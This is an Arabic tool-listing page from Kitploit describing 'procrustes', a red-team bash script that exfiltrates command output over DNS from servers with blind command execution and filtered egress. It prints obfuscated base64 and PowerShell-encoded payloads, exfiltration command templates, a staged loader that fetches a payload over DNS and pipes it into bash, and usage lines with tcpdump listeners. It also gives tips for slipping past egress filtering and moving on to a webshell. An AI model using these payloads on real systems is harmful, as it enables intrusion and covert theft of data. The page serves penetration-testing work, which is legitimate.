Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
procrustes — نص bash يقوم بأتمتة تسريب البيانات عبر DNS في حال كان لدينا تنفيذ أوامر أعمى على خادم مع تصفية الصادر | Kitploit
أدوات/GitHubGitHub/vp777/procrustes
الاستغلالتسريب البياناتالقيادة والسيطرةالفريق الأحمرتحليل DNS
GitHubvp777/procrustes

procrustes

نص bash يقوم بأتمتة تسريب البيانات عبر DNS في حال كان لدينا تنفيذ أوامر أعمى على خادم مع تصفية الصادر

عرض المستودع
21032منذ 5 سنواتتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

بروكروستيس

برنامج bash script يقوم بأتمتة استخراج البيانات عبر DNS في حال كانت لدينا قدرة على تنفيذ أوامر أعمى (blind command execution) على خادم حيث تكون جميع الاتصالات الصادرة محجوبة باستثناء DNS. يدعم البرنامج حاليًا sh و bash و PowerShell، وهو متوافق مع أسلوب تنفيذ الأوامر من نوع exec (مثل java.lang.Runtime.exec).

غير مقسمة:

مقسمة:

لعمله، يأخذ البرنامج كمدخل الأمر الذي نريد تشغيله على الخادم المستهدف ويحوله وفقًا للشل المستهدف ليتمكن من استخراج مخرجاته عبر DNS. بعد تحويل الأمر، يتم تغذيته إلى "الموزع" (dispatcher). الموزع هو برنامج يوفره المستخدم ويكون مسؤولاً عن أخذ أمر كمدخل وتنفيذه على الخادم المستهدف بأي وسيلة ضرورية (مثل استغلال ثغرة أمنية). بعد تنفيذ الأمر على الخادم المستهدف، من المتوقع أن يؤدي إلى إرسال طلبات DNS إلى خادم أسماء DNS الخاص بنا تحتوي على أجزاء من بياناتنا. يستمع البرنامج لهذه الطلبات حتى يتم استخراج مخرجات الأمر الذي قدمه المستخدم بالكامل.

فيما يلي تحويلات الأوامر المدعومة، المولدة لاستخراج الأمر: ls

sh:

root@kitploit:~
sh -c $@|base64${IFS}-d|sh . echo IGRpZyBAMCArdHJpZXM9NSBgKGxzKXxiYXNlNjQgLXcwfHdjIC1jYC5sZW4xNjAzNTQxMTc4LndoYXRldi5lcgo=

bash:

root@kitploit:~
bash -c {echo,IG5zbG9va3VwIGAobHMpfGJhc2U2NCAtdzB8d2MgLWNgLmxlbi4xNjAzMDMwNTYwLndoYXRldi5lcgo=}|{base64,-d}|bash

powershell:

root@kitploit:~
powershell -enc UgBlAHMAbwBsAHYAZQAtAEQAbgBzAE4AYQBtAGUAIAAkACgAIgB7ADAAfQAuAHsAMQB9AC4AewAyAH0AIgAgAC0AZgAgACgAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AFQAbwBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAoAGwAcwApACkAKQAuAGwAZQBuAGcAdABoACkALAAiAGwAZQBuACIALAAiADEANgAwADMAMAAzADAANAA4ADgALgB3AGgAYQB0AGUAdgAuAGUAcgAiACkACgA=

الاستخدام

  1. اختبار محلي لـ bash:
root@kitploit:~
./procroustes_chunked.sh -h whatev.er -d "dig @0 +tries=5" -x dispatcher_examples/local_bash.sh -- 'ls -lha|grep secret' < <(stdbuf -oL tcpdump --immediate -l -i any udp port 53)
  1. اختبار محلي لـ PowerShell باستخدام WSL2:
root@kitploit:~
stdbuf -oL tcpdump --immediate -l -i any udp port 53|./procroustes_chunked.sh -w ps -h whatev.er -d "Resolve-DnsName -Server wsl2_IP -Name" -x dispatcher_examples/local_powershell_wsl2.sh -- 'gci | % {$_.Name}'
  1. مثال على PowerShell حيث نقوم بعمل SSH إلى خادم الأسماء الخاص بنا للحصول على طلبات DNS الواردة.
root@kitploit:~
./procroustes_chunked.sh -w ps -h yourdns.host -d "Resolve-DnsName" -x dispatcher_examples/curl_waf.sh -- 'gci | % {$_.Name}' < <(stdbuf -oL ssh user@HOST 'sudo tcpdump --immediate -l udp port 53')
  1. مزيد من المعلومات حول الخيارات
root@kitploit:~
./procroustes_chunked.sh --help

procroustes_chunked مقابل procroustes_full

باختصار، بافتراض أننا نريد استخراج بعض البيانات التي يجب تقسيمها إلى أربعة أجزاء لتتمكن من نقلها عبر DNS:

  • procroustes_chunked: يستدعي الموزع أربع مرات، كل مرة يطلب جزءًا مختلفًا من الخادم. حجم حمولته صغير نسبيًا، سريع، ولا يحتاج إلى أي إعداد خاص.
  • procroustes_full: يستدعي الموزع مرة واحدة، ويكون الأمر الذي سيتم تنفيذه على الخادم مسؤولاً عن تقسيم البيانات وإرسالها. يمكن أن يكون حجم الحمولة أكبر، سريع (يمكن ضبط السرعة عبر المعامل -t)، ويمكن تحسين سرعته بشكل أكبر عند تشغيل خادم DNS (dns_server) على خادم الأسماء.
  • procroustes_full/staged: مشابه لـ procroustes_full، لكنه يستخدم مُهيئًا (stager) للحصول على الأمر الذي يستخدمه procroustes_full لتقسيم البيانات. لديه أصغر حجم "حمولة" ولكنه أيضًا الأبطأ من حيث معدل الاستخراج نظرًا لتحميل الحمولة الفعلية عبر DNS. يتطلب تشغيله إنشاء سكريبت nsconfig. ملاحظة: يجب إنشاء سكريبت nsconfig مرة واحدة فقط لكل خادم أسماء (وليس لكل خادم مستهدف).

يمكن توضيح بعض الاختلافات بينهما أيضًا من خلال الأوامر النموذجية المستخدمة لـ bash:

procroustes_chunked/bash:

root@kitploit:~
%DNS_TRIGGER% `(%CMD%)|base64 -w0|cut -b$((%INDEX%+1))-$((%INDEX%+%COUNT%))'`.%UNIQUE_DNS_HOST%

procroustes_full/bash:

root@kitploit:~
(%CMD%)|base64 -w0|echo $(cat)--|grep -Eo '.{1,%LABEL_SIZE%}'|xargs -n%NLABELS% echo|tr ' ' .|awk '{printf "%s.%s%s\n",$1,NR,"%UNIQUE_DNS_HOST%"}'|xargs -P%THREADS% -n1 %DNS_TRIGGER%

procroustes_full/bash/staged:

root@kitploit:~
(seq %ITERATIONS%|%S_DNS_TRIGGGER% $(cat).%UNIQUE_DNS_HOST%|tr . \ |printf %02x $(cat)|xxd -r -p)|bash

[1] بالنسبة للإصدار المُهيأ، يتم تحميل الأمر عبر DNS، لذا فإن الحجم المدرج هو إجمالي حجم الحمولة أيضًا.

[2] في procroustes_chunked، يتم استدعاء الموزع عدة مرات وكذلك الأمر المقدم الذي من المفترض تنفيذه على الخادم (حتى يتم استخراج جميع مخرجاته). هذا السلوك ليس مثاليًا إذا كان تسليم الأوامر إلى الخادم (أي باستدعاء الموزع) يستغرق وقتًا أو موارد كثيرة.

قد يسبب أيضًا مشكلات إذا لم يكن الأمر الذي ننفذه على الخادم عديم الأثر (من حيث الوظيفة أو المخرجات، مثل "ls;rm file") أو كان مكلفًا في الوقت أو الموارد (مثل find / -name secret). الحل البديل لهذه الحالة هو تخزين مخرجات الأمر أولاً في ملف (مثل /tmp/file) ثم استخدام البرنامج لقراءة ذلك الملف.

[3] في الإصدار المُهيأ، لدينا عبء إضافي يتمثل في الوقت اللازم للحصول على الحمولة الفعلية عبر DNS. تجدر الإشارة إلى أن البرنامج يستخدم سجلات A للحصول على الحمولة الفعلية. على الرغم من أن هذا يسمح لحركة المرور الخاصة بنا بالاندماج بشكل أفضل مع حركة المرور العادية للبيئة المستهدفة، إلا أنه يوفر سعة قناة محدودة (مثل 4 بايت لكل طلب). يمكننا استخدام أنواع سجلات أخرى مثل TXT لتقليل وقت تحميل المرحلة (تقريبًا إلى الصفر) وحجم المُهيئ.

نصائح

  • يُفضل استخدام هذا البرنامج بأقل قدر ممكن، وحاول الانتقال إلى قناة ذات نطاق ترددي أعلى في أسرع وقت ممكن (مثل HTTP-webshell)
  • في حال توقع نصوص طويلة، يمكنك محاولة ضغطها أولاً لتسريع عملية الاستخراج، مثل ./procrustes_full.sh ... -o >(setsid gunzip) -- 'ls -lhR / | gzip'
  • احتمال آخر للملفات الكبيرة/الثنائية هو نسخها إلى مسار يمكن الوصول إليه عبر HTTP مثلاً
  • لزيادة عرض النطاق الترددي للاستخراج في procrustes_full، قم بتشغيل خادم DNS (dns_server) على خادم الأسماء الخاص بك. بهذه الطريقة، نتجنب انتظار انتهاء صلاحية مشغل DNS الأساسي قبل الانتقال إلى جزء جديد.
  • من الناحية المثالية، سيكون لديك نطاق (الخيار -h) مع سجل NS يشير إلى خادم تتحكم فيه (الخادم الذي نستخدم فيه tcpdump). ومع ذلك، إذا كان الهدف مسموحًا له ببدء اتصالات بخوادم DNS عشوائية، يمكن تجنب ذلك عن طريق ضبط مشغل DNS صراحةً لاستخدام خادم DNS الخاص بنا (مثل dig @your_server whatev.er)

الفضل

  • Collabfiltrator - فكرة تقسيم البيانات على الخادم. يقوم أيضًا بوظائف مماثلة لهذا البرنامج، لذا تحقق منه.
  • DNSlivery - تم استخدام نسخة معدلة من DNSlivery كخادم DNS.
تنزيل الأداة
procroustes_chunkedprocroustes_fullprocroustes_full_staged
حجم الحمولة الإضافي (bash/powershell)150*NLABELS/500*NLABELS (+CMD_LEN)300/800 (+CMD_LEN)150/400[1]
عدد استدعاءات الموزع#output/(LABEL_SIZE*NLABELS)[2]11
السرعة (bash/powershell)✔/✔✔/✔✓/✓[3]
صعوبة الإعدادسهلةسهلة+متوسطة